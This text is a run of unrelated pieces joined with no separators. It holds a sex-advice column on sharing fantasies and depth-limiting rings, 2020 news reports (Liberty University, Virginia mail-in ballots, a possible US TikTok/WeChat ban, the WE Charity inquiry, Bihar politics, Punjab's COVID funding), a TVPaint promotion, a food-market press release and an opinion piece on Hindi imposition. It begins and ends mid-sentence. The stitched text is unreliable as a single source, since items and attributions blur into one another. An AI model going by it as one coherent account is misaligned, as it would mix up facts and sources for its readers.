fantasy/role-play scenario with her, maybe including some toys and dirty talk? I would want my partner to know that its not something I have any intention of wanting for real, but the fantasy of it turns me on and could be fun and hot. I just dont want her to feel weird about me or the fantasy I have. And what about fantasies in general? Whats the best way to bring up something like that without my partner feeling like its something I actually want? Advertisement Advertisement Pretend Third Dear Pretend Third, The best way to the best way to bring up a fantasy without your partner feeling like its something you actually want is to use your wordsthe very ones you typed in your letter, in fact. You did a fine job of qualifying what you enjoy about the fantasy and what youd like (and not like) to do about it. Take your time and tell your partner the whole story, just like you did to me. We barely even know each other! You can tell your partner. Advertisement A sexual fantasy, as defined by Justin Lehmiller in his book Tell Me What You Want, is any mental picture that comes to mind while youre awake that ultimately turns you on. Thats it! It need not enter the realm of desiresomething you actually want to doto be able to turn you on. A lot of people have fantasies that they enjoy only as fantasies, and part of whats appealing about them is their very nature: knowing that they will never act out these titillating scenarios allows some people to enjoy them without stress or pressure. Its like having your cake and eating it too, except the exact opposite, because theres no cake or eating of anything. Advertisement Advertisement Advertisement Lehmillers book is based on the findings of an extensive survey of sexual fantasies that more than 4,000 Americans filled out. I recommend that you read it, because there is an entire section devoted to the sharing of fantasies among partners. Lehmiller found that the sharing of fantasies correlated to the most satisfying sex lives, the happiest relationships, and the fewest difficulties with sexual desire, arousal, and orgasm. Further, the vast majority of respondents who shared their favorite fantasies with a partner reported a positive to neutral response, with negative responses being uncommon. As for setting for such sharing, Lehmiller suggests a distraction-free environment. Optimally, youll already both be in the mood (perhaps during the early stages of sexual play) because, as Lehmiller writes, when people are sexually aroused, their disgust response lessens. So you and your partner will probably be more receptive to each others fantasies if you share them in a situation where both of you are already kind of horny. Sounds right to me. So get to petting and sharing. Advertisement Advertisement Advertisement Dear How to Do It, I am a gay man who has only been able to bottom like a champ with short dicks. When a dick is longer, I believe it hits that sigmoid colon or some kind of wall, and it becomes pretty uncomfortable and weirdly creates air bubbles, which become farts. Ive looked online and everyone suggests vaguely working on moving past that colon, but there is so little guidance about how one does that. Any advice on that is appreciated but Im more interested in knowing if there is some sex toy that artificially shortens the dick so that it can only go so far inside. Basically something that simulates the top holding the base of his dick so that it doesnt penetrate as far but the top can still feel like they are thrusting all the way. My husband is longer and this has been a huge barrier. Advertisement Advertisement Bottomed Out Dear Bottomed Out, Yes, indeedyoure looking for something along the lines of the OhNut or the ComeClose Pleasure Ring. Theyre essentially stoppers worn at the base of the penis to control penetrative depth. Ive never partaken, never needed to (my general attitude is: give me all ya got), but Ive heard good things from women who need limitations on length for one reason or another. It may be a very simple solution to your problem. If not, reach back out and well move past your colon together. More How to Do It Last year, my husband of two years and I were out to drinks with his childhood friend and the friends fiancee. (Were both straight couples.) When we were several drinks in, we were talking about losing our virginities, and his friends fiancee made a comment along the lines of well, you know what they used to do. I did not know what they used to do! Liberty University said in a statement Monday that Jerry Prevo would become its acting president after Jerry Falwell Jr. "agreed to an indefinite leave of absence." Driving the news: The school announced Friday that Falwell was stepping away from the roles of university president and chancellor after fallout from the Trump ally posting a photo of himself with unzipped pants and an arm around a woman on social media. The university's honor code strictly prohibits students from having "sexual relations outside of a biblically-ordained marriage," and recommends they dress with "appropriateness" and "modesty." What they're saying: "Please pray for us as well as the Falwell family as we embark on our academic year and so we may continue to be united in our common purpose and our faith in Christ," Prevo said in a statement. Of note: Prevo has served on the Liberty University Board of Trustees since 1996 and has been the Board chair since 2003. He has stepped aside from that role ahead of becoming acting president on Aug. 17, per the statement. Subscriber content preview Rendering provided by Menter Byrne Architects [enlarge] Menter Byrne Architects designed the rehabbed building and Krekow Jennings is the contractor. Color & Design Studio is the interior designer. Tinte Cellars in late fall will open a new tasting room and event venue at 5951 Airport Way S. in Seattle's Georgetown neighborhood, the company said in a press release. . . . Requests for absentee ballots by mail are surging amid COVID-19 in some parts of the state, according to the Virginia Public Access Project. In Northern Virginias 8th Congressional District, represented by Democrat Don Beyer, applications for absentee ballots already have passed 2016 totals. A total of 45,947 people in that Democratic stronghold already have requested absentee ballots by mail, compared with 35,848 in 2016. Since the law changed July 1, Virginians are no longer required to submit a state-approved reason in order to vote absentee by mail or in person ahead of an election. Starting 45 days before the November election, Virginians can vote in person at their local registrars office. Voters also can request ballots by mail. Ballots will be sent to voters in mid-September. Voters who are interested in an absentee mail-in ballot can apply at vote.elections.virginia.gov. In the 7th District, where Del. Nick Freitas, R-Culpeper, is challenging Democratic incumbent Abigail Spanberger, 22,000 people already have requested an absentee ballot by mail. That compares with 24,289 for all of 2016, according to VPAP. In the Virginia Beach-based district where Rep. Elaine Luria, D-2nd, faces Republican Scott Taylor in another marquee matchup, 20,046 have requested absentee ballots by mail, compared with 21,898 for all of 2016. Five states Colorado, Hawaii, Oregon, Washington and Utah conduct elections entirely by mail, according to the National Conference of State Legislatures. It says that in two-thirds of the states, any qualified voter can cast an absentee ballot without providing an excuse. President Donald Trump asserted over the weekend that mail-in voting would be a catastrophe. Virginia Republicans raised concerns after an advocacy group recently sent hundreds of thousands of Virginians applications for mail -in ballots with botched return addresses. Sen. Mark Warner, D-Va., who faces Republican challenger Daniel Gade in November, said Monday that he had written to Postmaster General Louis DeJoy to raise concerns about changes that Warner said have delayed mail delivery in Virginia. My constituents have also raised concerns that recent delays in mail delivery are part of the administrations broader effort to erode the effectiveness of, and confidence in, voting by mail," Warner wrote to DeJoy. Ellen Weintraub, head of the Federal Election Commission, told CNN on Monday that voting by mail is safe. But she also said there is a substantial chance that the results of the presidential election and some down-ticket contests might not be resolved on Nov. 3. Let me just tell everybody were all going to need to take a deep breath and be patient this year, Weintraub said. The CEOs of banks, tech companies and consulting firms are forming a group to boost hiring from underrepresented groups in New York. Leaders from 27 firms that represent many of New York's dominant industries banded together to create the New York Jobs CEO Council, which aims to hire 100,000 people from low-income Black, Latino and Asian communities by 2030, according to a release. The co-chairs of the new organization include Jamie Dimon, CEO of JPMorgan Chase; Arvind Krishna, CEO of IBM, and Julie Sweet, CEO of Accenture. Other initial members of the CEO group include Jeff Bezos of Amazon, Satya Nadella of Microsoft, Sundar Pichai of Google and David Solomon of Goldman Sachs. The CEOs are "coming together to try to tackle one of society's big problems, which is getting inner city school [children], largely minority, getting these kids through school and with a high-paying job," Dimon said Tuesday in an interview with Stephanie Ruhle on the Today Show. The coronavirus pandemic has helped exacerbate inequality in U.S. cities, resulting in more job losses and worse health outcomes for people in low-income neighborhoods. Nearly 40% of lower-income Americans lost work as the virus began its assault on the U.S. economy, the Federal Reserve said in May. The group will be led by Dr. Gail Mellow, former LaGuardia Community College president, and plans to help companies hire people for entry-level jobs that put them on a career path. The 100,000 figure includes 25,000 jobs and apprenticeships for students from the City University of New York. "The new initiative will play an important role connecting underserved communities with career resources and access to New York's world-class educational institutions," New York Gov. Andrew M. Cuomo said in a statement. BJP MP has called officials of as 'traitors' who were "not ready to work" as he slammed 'poor' network of the state-owned telecom operator in parts of Karnataka. In remarks made at a public meeting in Kumta in Uttara Kannada district on Monday, a video of which has gone viral, Hegde claimed there was so much of "idleness" in and it had been decided to remove 85,000 employees as disinvestment was the only way to set it right. "It (BSNL) is a system, which is full of traitors... People know how the network is. It is still better in Uttara Kannada but in Bengaluru you will not get the network at all. The entire BSNL is a disgrace for the country," the MP, known for making controversial remarks, is heard saying. Recalling that he had scolded BSNL officials during a recent meeting in Karwar in Uttara Kannada district, his native, the former union minister said he told them "You are not just government officials but anti-nationals too." The MP said the BSNL was a 'disgrace' to the country. "We are finishing it off through divestment and are allowing the private players to take over the space," Hegde said. Hegde said there was 'lethargy' in the BSNL which no one could set right, not even the present dispensation. "Government has given you funds. People are in need. Infrastructure is ready but they are not ready to work. There isn't shortage of anything. The PM speaks of Digital India, we are ready to provide infrastructure, technology and funds, but they are not ready to work. There is so much idleness there," he alleged. "It has been decided to remove 85,000 employees in the entire country. There may be a requirement to remove some more. Whatever is needed, we will do. We will do a major surgery to set the BSNL right and privatise it. There is no other alternative," he is heard saying in the video. According to the MP, there are only two institutions which have 'ditched' the country. One was BSNL and another Air India. Hegde, a six-time Lok Sabha MP from Uttara Kannada, had in February this year stoked a huge controversy when he termed the freedom struggle led by Mahatma Gandhi as an "adjustment" with the British. As the remarks were condemned by the Congress, BJP asked him to tender a public apology. In December 2017, when he was the Union minister for Skill Development and Entrepreneurship, Hegde had mocked secularists with his remark that they are unaware of their parentage. He had also said the country's Constitution would be changed and been booked in the past for his "hate speeches", including one where he allegedly equated Islam with terrorism. Hegde had also stated that the politicians were not public servants. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) FILE PHOTO: Illustration picture of Wechat and TikTok apps near China and U.S. flags (Reuters) - President Donald Trump has threatened to ban the short-video app TikTok and messaging service WeChat by late September on grounds that the Chinese-owned apps pose a national security threat. It would mark the first time the United States has attempted to shut down widely used mobile internet apps. How would the U.S. go about blocking access to TikTok and WeChat? The administration could order smartphone software giants Apple Inc and Alphabet Inc's Google to remove WeChat and TikTok from their app stores. When the Indian government in June banned 59 Chinese apps, including TikTok and WeChat, it asked Google and Apple to remove the apps from their app stores, two sources told Reuters. Both companies complied. It would be a rare and possibly unprecedented step for the United States: Apple has not disclosed any app takedown requests from the U.S. government since it started publishing information on such requests in the second half of 2018. The government could also order the apps to stop offering access to U.S. users by threatening them with legal repercussions. In India, some banned apps pulled themselves from app stores. If I already have TikTok and WeChat on my phone, will I still be able to use them? The apps would probably work, but government orders may bar updates, blocking access to new features and bug fixes. Jay Kaplan, CEO of cybersecurity firm Synack and a former National Security Agency cybersecurity analyst, said it is "highly probable" Apple and Google can remotely disable installed apps, though experts were not aware of any instance in which they have done that recently. Apple and Google declined to comment. Could users download the apps somewhere else? Users with phones running Google's Android can install apps from alternatives to Google's official app store. Theoretically, they could download WeChat or TikTok from the companies' websites. Using alternatives to Apple's App Store to install apps is more difficult, though not impossible. Ron Deibert, director of the Citizen Lab at the University of Toronto, which has done extensive technical and censorship analysis of WeChat, said using unofficial stores carries the risk of installing versions of popular apps altered with viruses or scams. Story continues Would U.S. users be able to access Web versions of the app? U.S.-based hosting services such as Amazon.com Incs AWS and content delivery providers such as Akamai Technologies Inc could be banned from doing business with targeted apps, said Angelique Medina, director of product marketing at network intelligence firm ThousandEyes. Hosting sites outside the United States could still service Americans, but likely at slower speeds. Could internet service providers block users from accessing these services? The government could order ISPs to block users from accessing WeChat's and TikTok's servers, as China does to enforce its Great Firewall. But it would not be an easy task for the U.S. government because the United States has thousands more ISPs than China, said Chester Wisniewski, a researcher at cybersecurity provider Sophos. A U.S. order to ISPs also could be challenged in court, legal experts say. In India, the government did order telecom companies and other internet providers to block the Chinese-origin apps, according to notices seen by Reuters. Experts say there are no known cases of the U.S. ordering ISPs to ban access to sites. What about VPNs? Americans could use virtual private networks, or VPNs, to circumvent ISP blocks and browse the internet as if they were overseas. This is how internet users in China are able to reach services, such as Facebook, banned by the Great Firewall. Network experts said the same loophole would exist in the United States. (Reporting By Jane Lanhee Lee, Stephen Nellis, Paresh Dave, Sankalp Phartiyal, Aditya Y. Kalra; Editing by Greg Mitchell and Dan Grebler) Animators choose between different styles of movement, from cartoony to realistic to experimental. A naturalistic style is one choice among others. Yet this option creating human characters that appear and move with the highest degree of realism continues to pose great challenges in 2d computer animation. This is why one of TVPaints objectives is to equip artists with the ideal tools to create realistic animation. Animation is easier, cheaper, and faster on a tablet than on paper, which is why traditional animators around the world are adopting the software. The result is similar to hand-drawn animation, and the process provides them with a range of tools to achieve their goals. Rotoscoping is a technique whereby animators trace over filmed footage, frame by frame, to reproduce realistic movement. Originally, it involved projecting live-action footage onto a glass panel; animators then traced over the image. TVPaint offers the possibility to draw frame by frame, as well as brushes that let artists trace curves around the subject with detail and precision, and a Light Table tool that help animators add definition. This is what makes TVPaint such a rich and versatile software for creating great rotoscoped animation. From a completed roto, the artist generates a matte painting in black and white that perfectly matches the object on all planes. The rendering looks a lot like animation thats traditionally rotoscoped by hand. Also, the colorization is simple and fast thanks to the CTG Layer tool. Rotoscope features in TVPaint allow for multiple applications, ranging from character movement in feature films to dance scenes in music videos. A good example of the use of TVPaint for rotoscoping is the series Undone, which premiered in September 2019 on Amazon Prime Video. In the video below, director Hisko Hulsing explains the making of the series: In September, we conducted an interview with Craig Staggs. As artistic director of the studio Minnow Mountain, Staggs oversaw production of the rotoscoped animation for Undone. Read on for the interview: Cartoon Brew: Why and how did you use TVPaint to rotoscope Undone? Staggs: TVPaint was used as our primary platform for producing the line animation layers for Undone. First, the video is loaded as a layer and the opacity is lowered so the animator can see the line work. Secondly, the animator rotoscopes one character at a time using a custom pencil tool Hisko Hulsing designed for this project. We use frame-by-frame hand-drawn rotoscoping, custom brush animation, roto-tracking, and limited animation approaches like loops and holds to complete the character layers. We worked on twos, or 12 fps, at 1080p. Our unit produced the line work and then the animation was delivered to Submarine in Amsterdam who did the color, backgrounds, and composite. Our workflow is based on traditional structures, with our animation team leads drawing key poses, senior animators drawing breakdowns, and staff animators drawing in- between frames. We also produced 2016s Emmy-winning documentary Tower using TVPaint. Ive been working in TVPaint for 15 years now and find the software works well for our studio. What do you like the most about the software? I like how I can capture an idea, build animation, and produce finished work entirely inside TVPaint. Why did you decide to realize your series using only the rotoscope technique? Rotoscope allows the audience to relate directly to the actors performance but retains the flexibility of animated character animation. We used that flexibility for some of the more surreal moments in the series. Why did you choose TVPaint to make this project rather than another animation software? Our process is built on traditional animation pipelines. We find that TVPaint is a good platform for our hand-drawn frame-by-frame approach. What are the benefits of TVPaint compared to other softwares? The results we achieve in TVPaint are similar to what we would get working on paper. The animation is organic, and the hand of the artist remains evident. This is important for a traditional 2d look. Start using TVPaint today for your own animation project. Visit the TVPaint web site to download a trial version. DUBAI, U.A.E, Aug. 11, 2020 /PRNewswire/ -- According to Future Market Insights, the air-dried food market will surpass a whopping US$ 93 Bn by 2020-end, expand positively across the forecast period. Rising demand for preserving the nutritional quotient within packaged foods is bolstering the adoption of air-drying techniques since a long time. It is evident that consumers are demanding more foods offsetting various diseases and providing better health benefits. This trend has opened up doors for organic food manufacturers. Air-drying foods helps retain nutritional value by eliminating moisture through evaporation. This ensures that packaged foods are not infected by fungi, mold or bacteria, thereby increasing their shelf-lives. Nowadays, demand for ready-to-eat packaged foods is rising, attributed to the adoption of fast-paced lifestyles, providing major traction to air-dried foods in the forecast period. "Vendors are emphasizing on developing advanced packaging techniques, such as glass, polyethylene or polypropylene, which act as effective contamination barriers and enhance the self-life of products," says the FMI analyst. For more insights into the Market, Request a Sample of this [email protected] https://www.futuremarketinsights.com/reports/sample/rep-gb-12304 Key Takeaways from FMI's Air-dried Food Market Report Powder & Granule form air-dried foods will hold dominance from 2020-2030 Coffee will be the most popular air-dried beverage to hit the shelves Household-grade air-dried foods to capture a major chunk of the demand, with cereals being the most consumed food item Air-dried pet meat is another popular household food item which will hold sway in the coming years Global air-dried food market shall surge at 7% CAGR from 2020-2030 Europe will retain its hegemony in terms of air-dried food sales Air-dried Food Market- Key Trends Air-dried foods are acquiring traction due to consumers' willingness to pay a premium price for high-nutrition foodstuffs Producers are opting for inertness inducing packaging materials such as polypropylene and glass Enhanced demand for ready-to-eat packaged foods during COVID-19 is heightening market prospects for air dried foods. Demand from multiple sectors is increasing scope for differentiation, leading to launching of new food products Air-dried Food Market- Region-wise Analysis Strong and effective retail chains are providing immense traction to the European air-dried food market Improving living standards is accelerating demand for ready-to-eat meals in Asia which is boding well for the market which is boding well for the market China & India will emerge as the frontrunners of the Asian dried-food market growth due to the presence of a robust packaging and consumer goods industry For information on the Research Approach used in the Report, Request [email protected] https://www.futuremarketinsights.com/askus/rep-gb-12304 Air-dried Food Market- Competitive Landscape The global air-dried food market is extremely competitive, characterized by the presence of multiple vendors. Some prominent ones include, but are not limited to, Nestle S.A, FREEZE-DRY FOODS, B-B Products (Australia) Pty Ltd., HOWENIA ENTERPRISE CO LTD., DMH Ingredients Inc., Saraf Food Pvt. Ltd., Berrifine A, Dehydrates Inc. and La Frubense. The market is characterized by significant product launches and collaborations which provide a major edge to the players. With respect to product launches, Saraf Foods Pvt. Ltd (India) manufactures air and freeze-dried vegetables, fruits and dried herbs for commercial and residential grade consumption. Similarly, HOWENIA ENTERPRISE manufactures a host of products such as pickled jalapenos, purple potato flakes, redbean powder, potato flakes and green asparagus powder which are air-dried. Ask for Regional Data for the Air-dried Food [email protected] https://www.futuremarketinsights.com/ask-regional/rep-gb-12304 Air-dried Food Market Taxonomy Form Powder & Granule Chunks & Pieces Flakes End User Household Commercial Region/Country North America U.S Canada Latin America Brazil Mexico Rest of Latin America Europe EU-5 Russia Rest of Europe East Asia & Pacific China Japan South Korea Rest of East Asia South Asia & ASEAN India Thailand Indonesia Malaysia Rest of South Asia Middle East & Africa GCC South Africa North Africa Rest of MEA Get Market Alerts on Topics that you are Interested in https://www.futuremarketinsights.com/get-market-alerts/rep-gb-12304 Get Valuable Insights into Air-dried Food Market Future Market Insights, in its new report, presents an unbiased analysis of the global air-dried food market, covering historical demand data and forecast figures for the period between 2020 and 2030. The study divulges compelling insights into growth witnessed in the market. A detailed segmental analysis across prominent regions has been incorporated within the scope of this report, enabling readers to glean valuable qualitative and quantitative insights and include them in their upcoming business operations throughout the forecast period. Explore Extensive Coverage on FMI's Food & Beverages Landscape Bubble Tea Market: FMI's recent publication on the bubble tea market concludes that surging wellness trends combined with preference for exotic tastes will bode extremely well for growth, expanding impressively across the 2020-2030 forecast period. Rosemary Extracts Market: The rosemary extracts market study by FMI offers a 360-degree analysis, bringing to the fore insights that can help stakeholders identify the challenges and opportunities associated with the growth trajectory for the forecast period 2017-2027. Organic Salad Dressing Market: According to FMI, the global organic salad dressing market is projected to cross the US$ 2 Bn by the end of the 2020-2030 market forecast period, with North America accounting for the lion's share of the market. About Future Market Insights (FMI) Future Market Insights (FMI) is a leading provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India. FMI's latest market research reports and industry analysis help businesses navigate challenges and take critical decisions with confidence and clarity amidst breakneck competition. Our customized and syndicated market research reports deliver actionable insights that drive sustainable growth. A team of expert-led analysts at FMI continuously track emerging trends and events in a broad range of industries to ensure that our clients prepare for the evolving needs of their consumers. Contact Mr. Abhishek Budholiya Unit No: AU-01-H Gold Tower (AU), Plot No: JLT-PH1-I3A, Jumeirah Lakes Towers, Dubai, United Arab Emirates MARKET ACCESS DMCC Initiative For Sales Enquiries: [email protected] For Media Enquiries: [email protected] Report: https://www.futuremarketinsights.com/reports/air-dried-food-market Press Release Source: https://www.futuremarketinsights.com/press-release/air-dried-food-market SOURCE Future Market Insights OTTAWA - Canadas top public servant says federal officials did not probe the WE organizations financial situation or governance structure when doing homework on a deal with the charity to administer a pandemic grant program for student volunteers. Due diligence focused on WE Charitys ability to deliver the program, Ian Shugart, clerk of the Privy Council, told the House of Commons ethics committee Tuesday. Shugart said senior officials at Employment and Social Development Canada, which ultimately signed the contract with WE, told him they had a track record with the organization, which reassured him about the charity. Prime Minister Justin Trudeau has said he initially pushed back on the proposal to have WE administer the Canada Student Service Grant when it came to his attention in early May, knowing his familys connections with the organization would lead to significant scrutiny. Shugart confirmed Trudeau asked for further evaluation of the deal, which would have paid WE Charity up to $43.5 million to administer a grant program designed to encourage students to sign up for volunteer work related to the COVID-19 pandemic. Ottawa budgeted $912 million for the program, but the deal with WE was for $543 million. Officials went back and examined whether WE Charity had the ability to administer a Canada-wide student volunteer program, and whether it could deliver these services in both official languages. Other issues relating to WE Charitys organization, board of directors, financial state and governance structure were not considered at that time, Shugart said. When it came back to cabinet two weeks later, Shugart says, he believed the due diligence undertaken was sufficient. The former chair of WE Charitys board of directors, Michelle Douglas, told the House of Commons finance committee last month she resigned in March after the organization began a series of mass layoffs but refused to provide financial justification to the board for them. She also testified a majority of those on the Canadian and American boards of the charity resigned or were replaced around the same time something WE co-founders Craig and Marc Kielburger said was part of a board renewal. On Tuesday, MPs on the House of Commons ethics committee posed questions about this change as well as why governments contract with WE was not directly to the charity, but with a separate corporate entity called WE Charity Foundation. Those issues were simply not flagged, Shugart replied. I think knowing in retrospect what we know now, we probably would have inquired further, he added. The ethics committee is conducting a review of the existing safeguards in place to prevent conflicts of interest when the federal government decides how to spend taxpayers dollars. But opposition MPs focused more pointedly on the governments agreement and dealings with WE Charity leading up to the since-abandoned agreement. Youth Minister Bardish Chagger, who also appeared Tuesday, said she had a telephone conversation on April 17 with WE co-founder Craig Kielburger, almost a week before Trudeau announced the program. She said this conversation was an unsolicited pitch about a youth social entrepreneurship program. Asked why she didnt disclose this conversation in a previous appearance at the Commons finance committee, which is also probing the WE controversy, Chagger said the conversation was not about the Canada Student Service Grant. Employment Minister Carla Qualtrough, whose department recommended WE Charity to run the program, told the committee Tuesday that she learned of the choice just before the proposal was to go to cabinet for approval on May 5. She said this was because the file fell under Chaggers portfolio as youth minister. Qualtrough defended the Liberal governments work to help Canadians during the height of the pandemic, but acknowledged this file was not handled properly. It was a pandemic and things were crazy and we were going at breakneck speed, but we should have not dropped the ball on this, she said. Its an unfortunate situation. I dont think it takes away from the really important, I would say fantastic work, that we have done for students and for Canadians. Trudeau and Finance Minister Bill Morneau, whose family also has ties to WE Charity, are both under investigation by the federal ethics commissioner. Both have apologized for failing to recuse themselves when cabinet approved the recommended agreement with the charity. Trudeau has been a featured speaker at six WE Day events and his wife hosts a podcast for the group, for which they have not been paid. However, the charity has covered hundreds of thousands in expenses for Sophie Gregoire Trudeaus as well as speaking fees and expenses to Trudeaus mother and brother for speaking at numerous WE events over the years. One of Morneaus daughters works for the organization, another has spoken at its events and his wife has donated $100,000. Morneau also revealed last month that he had repaid some $41,000 in expenses that WE had paid for him and his family in 2017 for trips to view two of its humanitarian projects in Ecuador and Kenya. Qualtrough disclosed Tuesday that she, too, was a guest speaker at one WE Day event in 2016. She said she was not paid and her expenses were not covered. NDP MP Charlie Angus said he believes this all shows there was a close comfort level between WE and senior Trudeau government officials, which he believes led to the current controversy. Dont you feel if we had done more due diligence we wouldnt be in this debacle right now? he said. This report by The Canadian Press was first published Aug. 11, 2020. Read more about: In 1960, history was created when a little-known senator from Massachusetts, John F Kennedy overshadowed Richard Nixon, then president D D Eisenhowers vice-president, in the first televised debate in the United States (US). Television, since then, emerged as a powerful medium in election campaigns worldwide. In the Bihar assembly elections, if they are held as scheduled towards the end of the year, a new form of campaigning, the virtual campaign, will take centre stage. If successful, it will change the course of elections in India. Home minister Amit Shah addressed a virtual rally on June 7. He, according to reports, spoke to half-a-million people in Bihar. Congress leader Rahul Gandhi too, has held virtual interactions with his partys leaders, albeit on a limited scale. While the Janata Dal (United), led by chief minister Nitish Kumar, too had planned a virtual rally on August 7, it was postponed. Such virtual campaigns are possible because a huge constituency of digital users has been created. Over 500 million people in India are estimated to be connected, with Prime Minister Narendra Modi recently suggesting that a majority of them are in rural areas. The fact that Bihar is predominantly rural adds to its uniqueness. Further, Internet use is more gender-balanced in India, with a substantial segment of women users. This represents a rupture. In the Lalu Prasad era, when Sharad Pawar visited Patna, he was shocked to know that there were only 100 Internet connections in Patna, whereas in his parliamentary constituency, Baramati, there were 12,000 connections. But now, digital platforms have emerged as vehicles for the democratisation of information dissemination. Bihar will be the epicentre of how this will manifest itself in electoral politics in a post-Covid-19 India. But what about the substance of the electoral competition? It appears that Kumar has a tough challenge ahead. His third term, unlike the first two, have not been covered in glory. The administrations weaknesses have got exposed in handling the Covid-19 situation. There is a degree of public anger. However, he also has clear advantages. Kumar is still a major political brand in the state, equated with the improvements of his earlier terms. Even though his partnership with the Bharatiya Janata Party (BJP) has not brought about benefits demanded by JD(U) such as a special category status for Bihar or central university status for Patna University, the alliance is beneficial for both parties. It has ensured a successful coalition of extremes from upper castes to Dalits. If Jitan Ram Manjhi joins the National Democratic Alliance (NDA), the social coalition will become even more formidable. Kumar has also cultivated the women constituency by providing them 35% reservation in panchayati raj institutions and extending reservations for them in police and government jobs. He has cultivated the more extreme segments of backward communities over the last 15 years and is seen as their leader. The inward migration in the wake of Covid-19 was mishandled initially, but the scheme of providing Rs 4,000 per migrant and economically marginal persons could work out well. If the present coalition of extremes holds strong, the election outcome a foregone conclusion. The BJPs campaign, notes of dissent by Lok Janshakti Partys Chirag Paswan or the challenge by the Rashtriya Janata Dal (RJD)s Tejaswi Yadav are designed to fill the vacuum after the Kumar era in Bihar politics, ie, once his next, and by all assessments, final stint ends in 2025. Bihar is the only state in the Hindi heartland where the BJP has not reached its plateau. It has preferred an alliance despite Modis popularity. After successful social engineering at the grassroots, it is now evoking regional sub-nationalism. Modi praised the valour of the Biharis and Bihar Regiment, and their sacrifice during the Indo-China clashes. While extending the time limit of PM Garib Kalyan Anna Yojna , Modi specifically mentioned on June 30 that it will continue up to the Chhath festival in November. Chhath is the only sub-national festival in Bihar, where all castes and classes participate without any social divide. The BJP is also trying to woo young people all its district presidents in Bihar are in the age group of 40 to 45. But it is not as much the strengths of the ruling alliance as the weaknesses of the Opposition that explain the current moment. Even though there is substantial anti-incumbency, perhaps natural after 15 years of rule, the Opposition is in disarray. Tejaswi Yadav is yet to fill Lalu Prasads shoes. Hegemony over any caste Yadavs in the case of the RJD doesnt last without formal political power. RJD has been out of power now for 15 years. And a social movement to sustain the support of the entire caste group is absent. The Congress and communist parties are in a state of drift. Upendra Kushwaha or Mukesh Sahnis social strength does not match the political attention they draw. Chirag Paswan is appealing to a broader provincial identity with the slogan of Bihar First and Bihari First to project himself as a pan-Bihar leader but it is unlikely to yield immediate returns. Yashwant Sinhas new front with the Badlo Bihar slogan lacks authenticity. Even though he was principal secretary to former chief minister Karpoori Thakur, he has not been associated with the social justice movement in Bihar and instead seen as having proactively ensured the division of Bihar. His aides are past their political prime. Given this context where the ruling coalition has a strong CM face and social arithmetic on its side and the Opposition is adrift, leaderless, and without a substantial caste coalition Bihar is set to see the return of the incumbent if elections happen. Shaibal Gupta is member-secretary, Asian Development Research Institute The views expressed are personal The Enugu State Command of the Nigeria Police Force has quizzed four policemen allegedly involved in the escape of two herdsmen with a Ghana-Must-Go filled with naira suspected to have been ransom collected from families of their kidnapped victims. A police source, told our correspondent on Monday that the policemen were summoned at the state criminal investigation department on Saturday to explain their actions. 247ureports had reported on Thursday how two Fulani herdsmen suspected to be kidnappers escaped with a Ghana-Must-Go filled with naira in a checkpoint at Ikem police division. Advertisement The herdsmen were suspected to be behind the abduction of four persons returning from burial ceremony in Nsukka penultimate Friday along Nike-Ugwogo-Nsukka. The four persons abducted include a lawyer, two businessmen and a Reverend sister, among whom three were released after ransom was paid. The fourth person, one Mr Anayo Ukwu, who was reported last Thursday to have been released through the effort of the state government in some sections of the media, is yet to return to his family, raising fears that he might have been killed. The source stated that the policemen who admitted during interrogation at the state police headquarters that they saw the kidnap suspects on motorcycle, denied aiding their escape. According to the source, the policemen said that they were in their station located along Ikem-Eha-Amufu road when an Okada man carried two herdsmen with a Ghana-Must-Go, but its content werent. When they were asked to stop the Okada man sped off and they instantly pursued them but they escaped with bullet wounds. When contacted on telephone, the state Commissioner of Police, Ahmad Abdurrahman and the state Police Public Relations Officer, Daniel Ndukwe could not answer their calls. Also they didnt respond to text messages sent to their mobile number File image Punjab Chief Minister Amarinder Singh on Tuesday sought from Prime Minister Narendra Modi a liberal financial package to fill the revenue collection gap caused by the COVID-19 pandemic. The chief minister raised the demand during a video conference meeting of the prime minister with chief ministers to review the coronavirus situation. Punjab has seen 50 per cent decline in revenue for the first quarter of the current financial year. The chief minister also said the cap of 35 per cent in the State Disaster Relief Fund (SDRF) for COVID-19 related expenditure, as per the Ministry of Home Affairs guidelines, is not sufficient to meet the current requirements and sought flexibility in coronavirus-related terms of expenditure. Singh also thanked the Union government for accepting Punjab's proposal to set up a National Institute of Virology for the north zone and said the state government will soon give 25 acres of land for the institute, a government statement said. The chief minister also urged Modi to review the University Grants Commission's decision on mandatory exams for final year classes to be held by September 30. Punjab may not be in a position to conduct exams in September as it may witness a peak in COVID-19 cases at that time, Singh pointed out. He suggested promoting these students on the basis of past performance and internal assessment, with the option to take exams later for those wanting to improve their performance. Singh said the state has been witnessing a rising number of coronavirus cases and it has reached 24,891 with 604 deaths. He also sought central government assistance for online school education, especially for poor children of Classes X and XII. More money is needed for creating the infrastructure needed to support online education, he said during the meeting. Though Punjab is conducting 23,000 tests per million for COVID-19, and planned to increase RT-PCR (Reverse transcription polymerase chain reaction) tests from 12,000 to 20,000 in the next 15 days, it needed to scale up the testing capacity further, Singh stressed. He requested Modi to direct the Union government institutions in Chandigarh and Punjab to increase testing capacity, as already written to him earlier. Expressing concern over the state's mortality rate of 2.4 per cent, Singh said though it is lower than the all India deaths per million and 91 per cent of the fatality cases were people with comorbidities, it is still higher than neighbouring Haryana. Patients are coming to hospitals late and 86 per cent deaths have occurred in tertiary hospitals, he added. Reading the tweet of DMK MP Kanimozhi Karunanidhi that she was asked if she was an Indian just for not knowing Hindi gave a sense of deja vu to many people in Tamil Nadu who had travelled up North. Students from the state being subjected to such savage humiliation for not speaking in Hindi in colleges and universities in places like Delhi is old hat. But the insult to Kanimozhi was striking as it happened at the Chennai airport. Whatever be the real reason for the officer of the Central Industrial Security Force (CISF) refusing to communicate in a language that all air passengers could understand it could be her lack of fluency in English or her fondness for Hindi her questioning a passengers nationality was uncalled for. Even if she was oblivious to India being a multi-linguistic nation, she had no right, as a CISF officer or otherwise, to take upon herself the authority to pronounce who can be an Indian. While these personal drawbacks can hamper the officer from discharging her duties impartially, the present political situation allows her and many others like her to go about displaying Hindi chauvinism at airports and other public spaces without worrying about their prejudice and bigotry alienating non-Hindi speakers from the Indian mainstream. It is of course intriguing that the particular officer, who should be living in Chennai, did not acknowledge that Tamil is never thrust upon the people who come to the state from outside. None of the lakhs of guest workers who walked their way back home from Tamil Nadu due to the sudden lockdown recently had to learn Tamil. For, the people of Tamil 